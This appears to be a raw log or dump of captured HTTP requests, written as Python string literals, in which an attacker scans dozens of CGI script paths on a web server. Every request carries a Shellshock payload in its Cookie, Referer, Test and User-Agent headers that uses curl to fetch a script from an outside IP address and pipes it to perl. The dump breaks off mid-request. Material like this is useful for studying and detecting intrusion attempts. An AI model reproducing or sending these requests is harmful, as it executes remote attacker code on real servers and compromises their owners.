http://202.143.160.141/lib21/index.cgi | perl', u'GET /ROADS/cgi-bin/search.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /quikstore.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /photodata/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /photo/manage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /page.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ncbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /left.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /info.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /hitmatic/analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /enter_bug.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /dcadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/webmail/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/w3mman2html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/urlcount.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/talkback.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/store/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/store.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/spin_client.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/sojourn.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/snorkerz.batHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/simplestguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/scoadminreg.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/responder.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/quizme.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-test.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/nph-exploitscanget.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/netauth.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mt/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mt-static/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mini_logger.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/main_menu.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/mail/nph-mr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/lwgate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/login.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/log-reader.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/hitview.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/guestbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gm-authors.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gbadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FormMail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FormHandler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/flexform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/FileSeek2.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/faqmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper3/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/enter.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/dbman/db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/db_manager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csSearch.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/CSMailto/CSMailto.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csGuestBook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/Count.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classifieds/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classifieds.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cbmc/forums.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cartmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/calendar/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cached_feed.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl 